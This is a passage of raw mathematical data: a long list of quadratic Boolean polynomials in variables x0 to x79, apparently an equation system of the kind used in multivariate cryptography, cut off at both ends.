x49*x58 + x49*x59 + x49*x60 + x49*x61 + x49*x63 + x49*x64 + x49*x65 + x49*x66 + x49*x68 + x49*x71 + x49*x74 + x49*x77 + x49*x79 + x49 + x50*x52 + x50*x53 + x50*x57 + x50*x58 + x50*x60 + x50*x62 + x50*x63 + x50*x65 + x50*x72 + x50*x73 + x50*x77 + x50*x79 + x50 + x51*x52 + x51*x54 + x51*x56 + x51*x61 + x51*x63 + x51*x64 + x51*x65 + x51*x67 + x51*x70 + x51*x71 + x51*x73 + x51*x77 + x51*x78 + x51 + x52*x54 + x52*x58 + x52*x59 + x52*x62 + x52*x64 + x52*x66 + x52*x67 + x52*x68 + x52*x70 + x52*x73 + x52*x74 + x52*x75 + x52*x77 + x52*x79 + x53*x55 + x53*x56 + x53*x59 + x53*x64 + x53*x68 + x53*x72 + x53*x77 + x53*x78 + x53*x79 + x53 + x54*x57 + x54*x60 + x54*x61 + x54*x64 + x54*x65 + x54*x68 + x54*x69 + x54*x70 + x54*x76 + x54 + x55*x56 + x55*x58 + x55*x60 + x55*x61 + x55*x63 + x55*x66 + x55*x67 + x55*x70 + x55*x71 + x55*x72 + x55*x73 + x55*x74 + x55*x76 + x55*x78 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x60 + x56*x61 + x56*x63 + x56*x64 + x56*x67 + x56*x71 + x56*x72 + x56*x74 + x56*x77 + x56*x78 + x56 + x57*x58 + x57*x60 + x57*x61 + x57*x63 + x57*x68 + x57*x71 + x57*x73 + x57*x75 + x57*x76 + x57*x78 + x57*x79 + x58*x59 + x58*x60 + x58*x61 + x58*x64 + x58*x66 + x58*x67 + x58*x68 + x58*x71 + x58*x77 + x58*x78 + x58*x79 + x59*x60 + x59*x62 + x59*x64 + x59*x65 + x59*x67 + x59*x68 + x59*x70 + x59*x71 + x59*x72 + x59*x73 + x59*x74 + x59*x76 + x59*x77 + x59*x79 + x59 + x60*x63 + x60*x64 + x60*x72 + x60*x73 + x60*x74 + x60*x76 + x60*x79 + x60 + x61*x62 + x61*x63 + x61*x66 + x61*x67 + x61*x68 + x61*x70 + x61*x72 + x61*x74 + x61*x78 + x61 + x62*x63 + x62*x64 + x62*x67 + x62*x69 + x62*x70 + x62*x71 + x62*x72 + x62*x73 + x62*x74 + x62*x76 + x63*x64 + x63*x69 + x63*x71 + x63*x73 + x63*x74 + x63*x75 + x63*x77 + x63*x78 + x64*x65 + x64*x66 + x64*x68 + x64*x70 + x64*x74 + x64*x76 + x64*x79 + x64 + x65*x66 + x65*x67 + x65*x72 + x65*x73 + x65*x75 + x65*x76 + x65*x79 + x65 + x66*x67 + x66*x69 + x66*x71 + x66*x72 + x66*x73 + x66*x75 + x66*x76 + x66 + x67*x68 + x67*x69 + x67*x71 + x67*x73 + x67*x74 + x67*x76 + x67*x79 + x68*x69 + x68*x71 + x68*x72 + x68*x74 + x68*x75 + x68*x76 + x68*x77 + x68*x79 + x69*x70 + x69*x71 + x69*x73 + x69*x74 + x69*x78 + x69*x79 + x70*x71 + x70*x72 + x70*x73 + x70*x74 + x71*x73 + x71*x74 + x71*x75 + x71*x76 + x71*x77 + x71*x78 + x71*x79 + x71 + x72*x73 + x72*x75 + x72*x76 + x72*x79 + x73*x74 + x73 + x74*x77 + x74*x78 + x74 + x75*x76 + x75 + x76*x78 + x76*x79 + x76 + x77*x78 + x78*x79 + x79 + 1, x0*x2 + x0*x4 + x0*x6 + x0*x7 + x0*x9 + x0*x11 + x0*x12 + x0*x14 + x0*x15 + x0*x16 + x0*x17 + x0*x20 + x0*x22 + x0*x25 + x0*x28 + x0*x29 + x0*x31 + x0*x32 + x0*x33 + x0*x36 + x0*x37 + x0*x38 + x0*x39 + x0*x43 + x0*x45 + x0*x47 + x0*x49 + x0*x50 + x0*x52 + x0*x53 + x0*x54 + x0*x59 + x0*x61 + x0*x62 + x0*x67 + x0*x71 + x0*x73 + x0*x74 + x0*x75 + x0*x77 + x0 + x1*x3 + x1*x5 + x1*x6 + x1*x7 + x1*x9 + x1*x10 + x1*x12 + x1*x13 + x1*x14 + x1*x15 + x1*x18 + x1*x19 + x1*x21 + x1*x22 + x1*x24 + x1*x25 + x1*x27 + x1*x28 + x1*x29 + x1*x34 + x1*x43 + x1*x45 + x1*x47 + x1*x49 + x1*x50 + x1*x51 + x1*x52 + x1*x57 + x1*x60 + x1*x61 + x1*x70 + x1*x71 + x1*x74 + x1*x76 + x1*x79 + x1 + x2*x3 + x2*x5 + x2*x6 + x2*x9 + x2*x11 + x2*x13 + x2*x14 + x2*x15 + x2*x16 + x2*x18 + x2*x21 + x2*x22 + x2*x27 + x2*x28 + x2*x32 + x2*x34 + x2*x35 + x2*x36 + x2*x38 + x2*x40 + x2*x43 + x2*x45 + x2*x46 + x2*x48 + x2*x49 + x2*x50 + x2*x51 + x2*x53 + x2*x54 + x2*x55 + x2*x56 + x2*x57 + x2*x62 + x2*x64 + x2*x65 + x2*x66 + x2*x68 + x2*x70 + x2*x71 + x2*x73 + x2*x74 + x2*x75 + x2 + x3*x5 + x3*x8 + x3*x9 + x3*x11 + x3*x13 + x3*x14 + x3*x16 + x3*x17 + x3*x21 + x3*x22 + x3*x31 + x3*x33 + x3*x35 + x3*x36 + x3*x37 + x3*x38 + x3*x39 + x3*x41 + x3*x43 + x3*x44 + x3*x45 + x3*x47 + x3*x48 + x3*x50 + x3*x51 + x3*x53 + x3*x56 + x3*x58 + x3*x59 + x3*x60 + x3*x63 + x3*x65 + x3*x66 + x3*x69 + x3*x70 + x3*x74 + x3*x76 + x3*x77 + x3 + x4*x6 + x4*x8 + x4*x10 + x4*x13 + x4*x15 + x4*x16 + x4*x18 + x4*x19 + x4*x20 + x4*x24 + x4*x26 + x4*x27 + x4*x30 + x4*x34 + x4*x35 + x4*x36 + x4*x38 + x4*x42 + x4*x47 + x4*x50 + x4*x51 + x4*x55 + x4*x63 + x4*x64 + x4*x65 + x4*x66 + x4*x70 + x4*x71 + x4*x73 + x4*x75 + x4*x77 + x4 + x5*x9 + x5*x10 + x5*x13 + x5*x14 + x5*x15 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x24 + x5*x31 + x5*x32 + x5*x34 + x5*x36 + x5*x41 + x5*x42 + x5*x43 + x5*x45 + x5*x48 + x5*x49 + x5*x50 + x5*x57 + x5*x61 + x5*x63 + x5*x64 + x5*x69 + x5*x71 + x5*x73 + x5*x78 + x5*x79 + x6*x7 + x6*x9 + x6*x13 + x6*x15 + x6*x18 + x6*x20 + x6*x21 + x6*x23 + x6*x25 + x6*x27 + x6*x31 + x6*x32 + x6*x34 + x6*x37 + x6*x39 + x6*x40 + x6*x43 + x6*x48 + x6*x49 + x6*x50 + x6*x55 + x6*x56 + x6*x58 + x6*x59 + x6*x62 + x6*x65 + x6*x66 + x6*x68 + x6*x70 + x6*x72 + x6*x73 + x6*x74 + x6*x75 + x6*x76 + x6 + x7*x8 + x7*x9 + x7*x10 + x7*x12 + x7*x14 + x7*x20 + x7*x22 + x7*x25 + x7*x26 + x7*x28 + x7*x32 + x7*x33 + x7*x34 + x7*x37 + x7*x44 + x7*x45 + x7*x46 + x7*x47 + x7*x48 + x7*x50 + x7*x53 + x7*x56 + x7*x57 + x7*x58 + x7*x61 + x7*x64 + x7*x67 + x7*x70 + x7*x71 + x7*x74 + x7*x75 + x7*x78 + x7 + x8*x9 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x15 + x8*x16 + x8*x18 + x8*x22 + x8*x23 + x8*x27 + x8*x28 + x8*x32 + x8*x34 + x8*x35 + x8*x36 + x8*x37 + x8*x39 + x8*x40 + x8*x42 + x8*x43 + x8*x46 + x8*x48 + x8*x49 + x8*x53 + x8*x54 + x8*x55 + x8*x56 + x8*x59 + x8*x60 + x8*x62 + x8*x63 + x8*x64 + x8*x67 + x8*x68 + x8*x69 + x8*x71 + x8*x72 + x8*x73 + x8*x74 + x8*x77 + x9*x10 + x9*x12 + x9*x13 + x9*x17 + x9*x18 + x9*x20 + x9*x22 + x9*x24 + x9*x26 + x9*x28 + x9*x29 + x9*x30 + x9*x31 + x9*x33 + x9*x34 + x9*x35 + x9*x36 + x9*x37 + x9*x38 + x9*x42 + x9*x49 + x9*x50 + x9*x53 + x9*x56 + x9*x57 + x9*x60 + x9*x65 + x9*x67 + x9*x69 + x9*x70 + x9*x72 + x9*x77 + x9*x78 + x9 + x10*x11 + x10*x14 + x10*x15 + x10*x18 + x10*x19 + x10*x25 + x10*x26 + x10*x27 + x10*x31 + x10*x33 + x10*x34 + x10*x37 + x10*x38 + x10*x39 + x10*x40 + x10*x42 + x10*x46 + x10*x49 + x10*x50 + x10*x51 + x10*x52 + x10*x55 + x10*x56 + x10*x58 + x10*x60 + x10*x63 + x10*x64 + x10*x65 + x10*x66 + x10*x69 + x10*x70 + x10*x71 + x10*x73 + x10*x77 + x10*x79 + x11*x12 + x11*x18 + x11*x20 + x11*x21 + x11*x22 + x11*x23 + x11*x25 + x11*x27 + x11*x28 + x11*x30 + x11*x31 + x11*x32 + x11*x34 + x11*x36 + x11*x38 + x11*x39 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x47 + x11*x48 + x11*x50 + x11*x51 + x11*x52 + x11*x54 + x11*x57 + x11*x61 + x11*x63 + x11*x64 + x11*x65 + x11*x67 + x11*x70 + x11*x72 + x11*x73 + x11*x74 + x11*x78 + x11 + x12*x13 + x12*x14 + x12*x15 + x12*x16 + x12*x19 + x12*x20 + x12*x24 + x12*x26 + x12*x27 + x12*x29 + x12*x31 + x12*x32 + x12*x33 + x12*x34 + x12*x35 + x12*x36 + x12*x37 + x12*x41 + x12*x42 + x12*x44 + x12*x46 + x12*x47 + x12*x49 + x12*x51 + x12*x52 + x12*x53 + x12*x54 + x12*x59 + x12*x61 + x12*x62 + x12*x67 + x12*x68 + x12*x69 + x12*x70 + x12*x76 + x12*x77 + x12*x78 + x12*x79 + x12 + x13*x14 + x13*x17 + x13*x19 + x13*x23 + x13*x26 + x13*x27 + x13*x28 + x13*x29 + x13*x32 + x13*x33 + x13*x35 + x13*x36 + x13*x40 + x13*x41 + x13*x42 + x13*x43 + x13*x44 + x13*x49 + x13*x50 + x13*x51 + x13*x53 + x13*x55 + x13*x56 + x13*x58 + x13*x59 + x13*x64 + x13*x66 + x13*x67 + x13*x68 + x13*x70 + x13*x71 + x13*x72 + x13*x74 + x13*x77 + x13 + x14*x16 + x14*x17 + x14*x19 + x14*x21 + x14*x23 + x14*x24 + x14*x26 + x14*x31 + x14*x32 + x14*x37 + x14*x39 + x14*x40 + x14*x41 + x14*x43 + x14*x44 + x14*x46 + x14*x47 + x14*x49 + x14*x51 + x14*x52 + x14*x55 + x14*x57 + x14*x58 + x14*x60 + x14*x63 + x14*x65 + x14*x67 + x14*x68 + x14*x69 + x14*x70 + x14*x71 + x14*x74 + x14*x75 + x14*x79 + x14 + x15*x18 + x15*x20 + x15*x21 + x15*x22 + x15*x23 + x15*x24 + x15*x25 + x15*x29 + x15*x30 + x15*x31 + x15*x37 + x15*x38 + x15*x40 + x15*x41 + x15*x43 + x15*x44 + x15*x47 + x15*x48 + x15*x49 + x15*x50 + x15*x51 + x15*x54 + x15*x55 + x15*x59 + x15*x61 + x15*x62 + x15*x63 + x15*x65 + x15*x70 + x15*x72 + x15*x73 + x15*x74 + x15*x75 + x15*x79 + x15 + x16*x19 + x16*x20 + x16*x21 + x16*x22 + x16*x23 + x16*x28 + x16*x29 + x16*x32 + x16*x36 + x16*x39 + x16*x40 + x16*x42 + x16*x45 + x16*x46 + x16*x49 + x16*x51 + x16*x53 + x16*x56 + x16*x57 + x16*x60 + x16*x62 + x16*x63 + x16*x65 + x16*x66 + x16*x70 + x16*x71 + x16*x74 + x16*x75 + x16*x77 + x16 + x17*x18 + x17*x19 + x17*x23 + x17*x24 + x17*x25 + x17*x27 + x17*x29 + x17*x34 + x17*x40 + x17*x41 + x17*x44 + x17*x47 + x17*x52 + x17*x54 + x17*x56 + x17*x57 + x17*x59 + x17*x60 + x17*x62 + x17*x63 + x17*x65 + x17*x66 + x17*x68 + x17*x69 + x17*x70 + x17*x71 + x17*x74 + x17*x75 + x17*x79 + x18*x20 + x18*x24 + x18*x25 + x18*x28 + x18*x29 + x18*x30 + x18*x32 + x18*x34 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x43 + x18*x44 + x18*x45 + x18*x46 + x18*x48 + x18*x50 + x18*x53 + x18*x59 + x18*x66 + x18*x68 + x18*x69 + x18*x70 + x18*x75 + x18*x79 + x18 + x19*x20 + x19*x21 + x19*x22 + x19*x28 + x19*x32 + x19*x35 + x19*x42 + x19*x43 + x19*x45 + x19*x46 + x19*x47 + x19*x49 + x19*x52 + x19*x53 + x19*x57 + x19*x58 + x19*x62 + x19*x63 + x19*x66 + x19*x68 + x19*x70 + x19*x71 + x19*x73 + x19*x74 + x19*x79 + x19 + x20*x21 + x20*x27 + x20*x28 + x20*x29 + x20*x30 + x20*x31 + x20*x33 + x20*x35 + x20*x37 + x20*x38 + x20*x40 + x20*x42 + x20*x43 + x20*x47 + x20*x50 + x20*x52 + x20*x54 + x20*x57 + x20*x60 + x20*x61 + x20*x64 + x20*x67 + x20*x68 + x20*x73 + x20*x75 + x20*x76 + x20*x79 + x20 + x21*x22 + x21*x23 + x21*x26 + x21*x29 + x21*x31 + x21*x32 + x21*x33 + x21*x35 + x21*x37 + x21*x38 + x21*x39 + x21*x41 + x21*x42 + x21*x43 + x21*x48 + x21*x49 + x21*x51 + x21*x52 + x21*x56 + x21*x57 + x21*x58 + x21*x60 + x21*x62 + x21*x65 + x21*x66 + x21*x68 + x21*x69 + x21*x70 + x21*x72 + x21*x75 + x21*x79 + x21 + x22*x23 + x22*x28 + x22*x30 + x22*x31 + x22*x35 + x22*x42 + x22*x45 + x22*x46 + x22*x48 + x22*x49 + x22*x51 + x22*x52 + x22*x54 + x22*x55 + x22*x56 + x22*x58 + x22*x60 + x22*x61 + x22*x62 + x22*x63 + x22*x71 + x22*x72 + x22*x73 + x22*x74 + x22*x75 + x22*x76 + x22*x77 + x22*x79 + x23*x25 + x23*x26 + x23*x27 + x23*x32 + x23*x33 + x23*x34 + x23*x36 + x23*x37 + x23*x38 + x23*x39 + x23*x40 + x23*x43 + x23*x48 + x23*x50 + x23*x51 + x23*x53 + x23*x55 + x23*x56 + x23*x59 + x23*x60 + x23*x61 + x23*x65 + x23*x69 + x23*x72 + x23*x73 + x23*x75 + x23 + x24*x26 + x24*x27 + x24*x28 + x24*x29 + x24*x31 + x24*x35 + x24*x36 + x24*x38 + x24*x41 + x24*x44 + x24*x45 + x24*x46 + x24*x51 + x24*x54 + x24*x55 + x24*x56 + x24*x58 + x24*x61 + x24*x65 + x24*x66 + x24*x68 + x24*x71 + x24*x72 + x24*x73 + x25*x27 + x25*x29 + x25*x30 + x25*x35 + x25*x38 + x25*x39 + x25*x40 + x25*x41 + x25*x43 + x25*x45 + x25*x47 + x25*x49 + x25*x51 + x25*x53 + x25*x54 + x25*x55 + x25*x57 + x25*x58 + x25*x59 + x25*x61 + x25*x62 + x25*x65 + x25*x68 + x25*x69 + x25*x70 + x25*x71 + x25*x75 + x25*x77 + x25*x79 + x25 + x26*x29 + x26*x32 + x26*x33 + x26*x38 + x26*x41 + x26*x44 + x26*x48 + x26*x49 + x26*x50 + x26*x53 + x26*x54 + x26*x55 + x26*x61 + x26*x62 + x26*x63 + x26*x66 + x26*x67 + x26*x68 + x26*x70 + x26*x73 + x26*x77 + x27*x28 + x27*x31 + x27*x32 + x27*x33 + x27*x35 + x27*x39 + x27*x41 + x27*x42 + x27*x43 + x27*x44 + x27*x46 + x27*x47 + x27*x48 + x27*x49 + x27*x53 + x27*x54 + x27*x56 + x27*x59 + x27*x65 + x27*x67 + x27*x69 + x27*x71 + x27*x73 + x27*x76 + x27*x77 + x27*x79 + x27 + x28*x29 + x28*x30 + x28*x32 + x28*x33 + x28*x34 + x28*x37 + x28*x40 + x28*x42 + x28*x44 + x28*x47 + x28*x49 + x28*x54 + x28*x57 + x28*x62 + x28*x63 + x28*x64 + x28*x65 + x28*x69 + x28*x71 + x28*x72 + x28*x73 + x28*x74 + x28*x75 + x28*x76 + x29*x30 + x29*x31 + x29*x34 + x29*x35 + x29*x37 + x29*x40 + x29*x46 + x29*x47 + x29*x48 + x29*x49 + x29*x51 + x29*x52 + x29*x53 + x29*x56 + x29*x58 + x29*x59 + x29*x64 + x29*x65 + x29*x66 + x29*x68 + x29*x69 + x29*x70 + x29*x73 + x29*x74 + x29*x75 + x29*x77 + x29*x78 + x29 + x30*x33 + x30*x35 + x30*x37 + x30*x38 + x30*x40 + x30*x42 + x30*x45 + x30*x46 + x30*x48 + x30*x49 + x30*x50 + x30*x51 + x30*x53 + x30*x54 + x30*x55 + x30*x57 + x30*x58 + x30*x60 + x30*x64 + x30*x66 + x30*x69 + x30*x71 + x30*x73 + x30*x74 + x30*x75 + x30*x76 + x31*x35 + x31*x37 + x31*x40 + x31*x42 + x31*x43 + x31*x50 + x31*x51 + x31*x52 + x31*x61 + x31*x62 + x31*x63 + x31*x65 + x31*x67 + x31*x72 + x31*x73 + x31*x75 + x31*x76 + x31*x79 + x32*x33 + x32*x37 + x32*x38 + x32*x39 + x32*x40 + x32*x47 + x32*x49 + x32*x51 + x32*x52 + x32*x53 + x32*x54 + x32*x56 + x32*x57 + x32*x62 + x32*x63 + x32*x66 + x32*x67 + x32*x68 + x32*x70 + x32*x71 + x32*x73 + x32*x74 + x32*x75 + x32*x76 + x32*x78 + x33*x34 + x33*x35 + x33*x37 + x33*x38 + x33*x40 + x33*x42 + x33*x43 + x33*x44 + x33*x45 + x33*x46 + x33*x47 + x33*x48 + x33*x51 + x33*x52 + x33*x53 + x33*x55 + x33*x56 + x33*x58 + x33*x59 + x33*x60 + x33*x64 + x33*x67 + x33*x70 + x33*x71 + x33*x72 + x33*x73 + x33*x74 + x33*x76 + x34*x36 + x34*x41 + x34*x45 + x34*x47 + x34*x51 + x34*x53 + x34*x57 + x34*x58 + x34*x59 + x34*x60 + x34*x62 + x34*x63 + x34*x65 + x34*x66 + x34*x67 + x34*x68 + x34*x69 + x34*x72 + x34*x73 + x34*x74 + x34*x75 + x34*x76 + x34*x78 + x34 + x35*x36 + x35*x38 + x35*x39 + x35*x41 + x35*x43 + x35*x45 + x35*x46 + x35*x47 + x35*x51 + x35*x53 + x35*x54 + x35*x56 + x35*x57 + x35*x58 + x35*x61 + x35*x62 + x35*x66 + x35*x67 + x35*x71 + x35*x73 + x35*x75 + x35*x77 + x35 + x36*x37 + x36*x38 + x36*x39 + x36*x42 + x36*x43 + x36*x44 + x36*x48 + x36*x49 + x36*x53 + x36*x55 + x36*x57 + x36*x58 + x36*x61 + x36*x62 + x36*x64 + x36*x67 + x36*x71 + x36*x74 + x36*x75 + x36*x77 + x36 + x37*x38 + x37*x39 + x37*x40 + x37*x43 + x37*x46 + x37*x49 + x37*x50 + x37*x52 + x37*x54 + x37*x56 + x37*x58 + x37*x59 + x37*x60 + x37*x62 + x37*x64 + x37*x68 + x37*x70 + x37*x71 + x37*x74 + x37*x75 + x37*x76 + x37*x79 + x38*x40 + x38*x43 + x38*x44 + x38*x46 + x38*x47 + x38*x48 + x38*x50 + x38*x51 + x38*x52 + x38*x53 + x38*x54 + x38*x57 + x38*x59 + x38*x60 + x38*x61 + x38*x62 + x38*x65 + x38*x66 + x38*x67 + x38*x71 + x38*x74 + x38*x75 + x38*x79 + x38 + x39*x40 + x39*x41 + x39*x43 + x39*x44 + x39*x46 + x39*x48 + x39*x50 + x39*x52 + x39*x54 + x39*x55 + x39*x59 + x39*x61 + x39*x62 + x39*x63 + x39*x64 + x39*x65 + x39*x67 + x39*x68 + x39*x69 + x39*x71 + x39*x72 + x39*x74 + x39*x76 + x39*x77 + x39*x78 + x39 + x40*x44 + x40*x45 + x40*x47 + x40*x50 + x40*x52 + x40*x53 + x40*x57 + x40*x58 + x40*x60 + x40*x68 + x40*x71 + x40*x75 + x40*x77 + x40*x78 + x40*x79 + x40 + x41*x44 + x41*x46 + x41*x49 + x41*x51 + x41*x52 + x41*x53 + x41*x55 + x41*x56 + x41*x58 + x41*x62 + x41*x63 + x41*x64 + x41*x66 + x41*x68 + x41*x73 + x41*x76 + x41*x78 + x41*x79 + x42*x44 + x42*x45 + x42*x46 + x42*x47 + x42*x49 + x42*x52 + x42*x53 + x42*x54 + x42*x55 + x42*x56 + x42*x58 + x42*x59 + x42*x61 + x42*x63 + x42*x64 + x42*x66 + x42*x68 + x42*x69 + x42*x72 + x42*x73 + x42*x74 + x42*x75 + x42*x77 + x42*x79 + x43*x44 + x43*x45 + x43*x47 + x43*x48 + x43*x50 + x43*x52 + x43*x53 + x43*x55 + x43*x58 + x43*x59 + x43*x60 + x43*x64 + x43*x65 + x43*x66 + x43*x72 + x43*x74 + x43*x75 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x43 + x44*x47 + x44*x48 + x44*x52 + x44*x54 + x44*x56 + x44*x57 + x44*x60 + x44*x61 + x44*x62 + x44*x64 + x44*x65 + x44*x66 + x44*x67 + x44*x69 + x44*x71 + x44*x73 + x44*x78 + x44*x79 + x44 + x45*x50 + x45*x51 + x45*x52 + x45*x53 + x45*x56 + x45*x59 + x45*x61 + x45*x63 + x45*x65 + x45*x67 + x45*x68 + x45*x69 + x45*x70 + x45*x72 + x45*x73 + x45*x77 + x45*x78 + x45*x79 + x45 + x46*x51 + x46*x53 + x46*x57 + x46*x58 + x46*x59 + x46*x61 + x46*x62 + x46*x63 + x46*x64 + x46*x65 + x46*x66 + x46*x68 + x46*x70 + x46*x72 + x46*x73 + x46*x75 + x46*x76 + x46*x77 + x46*x78 + x46 + x47*x49 + x47*x50 + x47*x51 + x47*x53 + x47*x54 + x47*x55 + x47*x57 + x47*x59 + x47*x61 + x47*x62 + x47*x68 + x47*x72 + x47*x75 + x47*x77 + x47*x79 + x47 + x48*x51 + x48*x52 + x48*x53 + x48*x57 + x48*x61 + x48*x63 + x48*x65 + x48*x67 + x48*x68 + x48*x69 + x48*x72 + x48*x73 + x48*x76 + x48*x79 + x49*x50 + x49*x56 + x49*x58 + x49*x61 + x49*x63 + x49*x65 + x49*x68 + x49*x72 + x49*x74 + x49*x75 + x49*x76 + x49*x78 + x50*x52 + x50*x54 + x50*x55 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x63 + x50*x65 + x50*x69 + x50*x70 + x50*x72 + x50*x73 + x50*x74 + x50*x78 + x50 + x51*x52 + x51*x53 + x51*x55 + x51*x57 + x51*x58 + x51*x60 + x51*x63 + x51*x65 + x51*x67 + x51*x68 + x51*x69 + x51*x70 + x51*x74 + x51*x75 + x51*x76 + x51*x77 + x51*x78 + x51*x79 + x52*x53 + x52*x54 + x52*x56 + x52*x58 + x52*x59 + x52*x61 + x52*x62 + x52*x64 + x52*x67 + x52*x71 + x52*x73 + x52*x74 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x60 + x53*x63 + x53*x64 + x53*x66 + x53*x68 + x53*x69 + x53*x71 + x53*x73 + x53*x74 + x53*x76 + x53*x79 + x53 + x54*x55 + x54*x57 + x54*x58 + x54*x59 + x54*x60 + x54*x62 + x54*x63 + x54*x64 + x54*x66 + x54*x67 + x54*x69 + x54*x71 + x54*x75 + x54*x76 + x54*x78 + x54*x79 + x54 + x55*x56 + x55*x60 + x55*x62 + x55*x64 + x55*x66 + x55*x67 + x55*x68 + x55*x69 + x55*x71 + x55*x72 + x55*x73 + x55*x74 + x55*x75 + x55*x77 + x56*x58 + x56*x59 + x56*x62 + x56*x66 + x56*x68 + x56*x69 + x56*x70 + x56*x72 + x56*x73 + x56*x74 + x56*x75 + x57*x62 + x57*x63 + x57*x65 + x57*x67 + x57*x69 + x57*x71 + x57*x73 + x57*x74 + x57*x76 + x57*x77 + x57 + x58*x59 + x58*x60 + x58*x61 + x58*x63 + x58*x64 + x58*x65 + x58*x66 + x58*x67 + x58*x69 + x58*x73 + x58*x76 + x58*x79 + x58 + x59*x61 + x59*x62 + x59*x66 + x59*x68 + x59*x73 + x59*x74 + x59*x78 + x59 + x60*x61 + x60*x63 + x60*x64 + x60*x65 + x60*x67 + x60*x68 + x60*x71 + x60*x73 + x60*x74 + x60*x75 + x60*x78 + x61*x66 + x61*x69 + x61*x72 + x61*x74 + x61*x75 + x61*x78 + x61*x79 + x62*x67 + x62*x70 + x62*x72 + x62*x73 + x62*x74 + x62*x75 + x62*x76 + x62*x78 + x63*x64 + x63*x65 + x63*x67 + x63*x70 + x63*x71 + x63*x72 + x63*x74 + x63*x76 + x63*x77 + x63*x78 + x63 + x64*x67 + x64*x68 + x64*x69 + x64*x74 + x64*x77 + x64 + x65*x66 + x65*x67 + x65*x68 + x65*x70 + x65*x71 + x65*x73 + x65*x74 + x65*x76 + x65*x78 + x65*x79 + x66*x69 + x66*x72 + x66*x74 + x66*x75 + x66*x77 + x66*x78 + x66 + x67*x68 + x67*x70 + x67*x73 + x67*x74 + x67*x75 + x67*x77 + x67*x79 + x68*x69 + x68*x71 + x68*x72 + x68*x76 + x68*x78 + x69*x71 + x69*x72 + x69*x73 + x69*x79 + x69 + x70*x72 + x70*x75 + x70*x76 + x70*x77 + x70*x78 + x70 + x71*x73 + x71*x75 + x71*x77 + x71*x78 + x72*x73 + x72*x75 + x72*x76 + x72*x77 + x72*x78 + x72*x79 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x73 + x74*x75 + x74*x76 + x74*x79 + x74 + x75*x76 + x76*x78 + x76*x79 + x77*x79 + x77 + x78*x79 + x78, x0*x3 + x0*x7 + x0*x10 + x0*x12 + x0*x13 + x0*x15 + x0*x19 + x0*x20 + x0*x21 + x0*x25 + x0*x28 + x0*x29 + x0*x30 + x0*x31 + x0*x33 + x0*x34 + x0*x36 + x0*x37 + x0*x39 + x0*x40 + x0*x41 + x0*x46 + x0*x48 + x0*x50 + x0*x51 + x0*x54 + x0*x55 + x0*x56 + x0*x58 + x0*x59 + x0*x60 + x0*x61 + x0*x65 + x0*x66 + x0*x71 + x0*x72 + x0*x74 + x0*x77 + x0*x79 + x0 + x1*x6 + x1*x10 + x1*x13 + x1*x14 + x1*x18 + x1*x21 + x1*x25 + x1*x27 + x1*x33 + x1*x34 + x1*x35 + x1*x36 + x1*x39 + x1*x40 + x1*x42 + x1*x44 + x1*x46 + x1*x47 + x1*x48 + x1*x49 + x1*x50 + x1*x53 + x1*x55 + x1*x56 + x1*x57 + x1*x61 + x1*x66 + x1*x69 + x1*x71 + x1*x73 + x1*x74 + x2*x3 + x2*x4 + x2*x6 + x2*x10 + x2*x13 + x2*x18 + x2*x19 + x2*x20 + x2*x21 + x2*x23 + x2*x24 + x2*x25 + x2*x26 + x2*x27 + x2*x28 + x2*x31 + x2*x33 + x2*x37 + x2*x38 + x2*x39 + x2*x40 + x2*x42 + x2*x43 + x2*x44 + x2*x47 + x2*x48 + x2*x50 + x2*x51 + x2*x53 + x2*x58 + x2*x59 + x2*x60 + x2*x61 + x2*x62 + x2*x65 + x2*x67 + x2*x69 + x2*x70 + x2*x71 + x2*x72 + x2*x73 + x2*x75 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x6 + x3*x7 + x3*x9 + x3*x10 + x3*x12 + x3*x13 + x3*x14 + x3*x17 + x3*x18 + x3*x20 + x3*x21 + x3*x22 + x3*x26 + x3*x28 + x3*x31 + x3*x32 + x3*x38 + x3*x42 + x3*x47 + x3*x48 + x3*x49 + x3*x50 + x3*x52 + x3*x53 + x3*x54 + x3*x56 + x3*x58 + x3*x60 + x3*x61 + x3*x62 + x3*x64 + x3*x65 + x3*x66 + x3*x67 + x3*x69 + x3*x71 + x3*x72 + x3*x73 + x3*x76 + x3*x77 + x4*x7 + x4*x16 + x4*x22 + x4*x24 + x4*x25 + x4*x29 + x4*x31 + x4*x34 + x4*x36 + x4*x37 + x4*x39 + x4*x42 + x4*x46 + x4*x47 + x4*x48 + x4*x49 + x4*x50 + x4*x52 + x4*x53 + x4*x54 + x4*x55 + x4*x56 + x4*x57 + x4*x58 + x4*x61 + x4*x62 + x4*x65 + x4*x67 + x4*x68 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x73 + x4*x75 + x5*x8 + x5*x10 + x5*x13 + x5*x16 + x5*x23 + x5*x25 + x5*x27 + x5*x28 + x5*x31 + x5*x35 + x5*x36 + x5*x38 + x5*x40 + x5*x43 + x5*x44 + x5*x47 + x5*x48 + x5*x52 + x5*x53 + x5*x54 + x5*x55 + x5*x56 + x5*x60 + x5*x61 + x5*x62 + x5*x63 + x5*x69 + x5*x72 + x5*x74 + x5*x75 + x5*x76 + x5*x77 + x5 + x6*x7 + x6*x10 + x6*x11 + x6*x12 + x6*x15 + x6*x17 + x6*x18 + x6*x19 + x6*x20 + x6*x22 + x6*x23 + x6*x24 + x6*x25 + x6*x30 + x6*x32 + x6*x33 + x6*x37 + x6*x38 + x6*x39 + x6*x40 + x6*x43 + x6*x44 + x6*x45 + x6*x46 + x6*x51 + x6*x54 + x6*x57 + x6*x60 + x6*x61 + x6*x63 + x6*x65 + x6*x66 + x6*x67 + x6*x72 + x6*x73 + x6*x74 + x6*x76 + x6*x77 + x7*x8 + x7*x11 + x7*x14 + x7*x15 + x7*x18 + x7*x20 + x7*x21 + x7*x24 + x7*x25 + x7*x27 + x7*x28 + x7*x29 + x7*x33 + x7*x34 + x7*x36 + x7*x37 + x7*x40 + x7*x41 + x7*x42 + x7*x46 + x7*x47 + x7*x48 + x7*x53 + x7*x54 + x7*x56 + x7*x57 + x7*x58 + x7*x60 + x7*x62 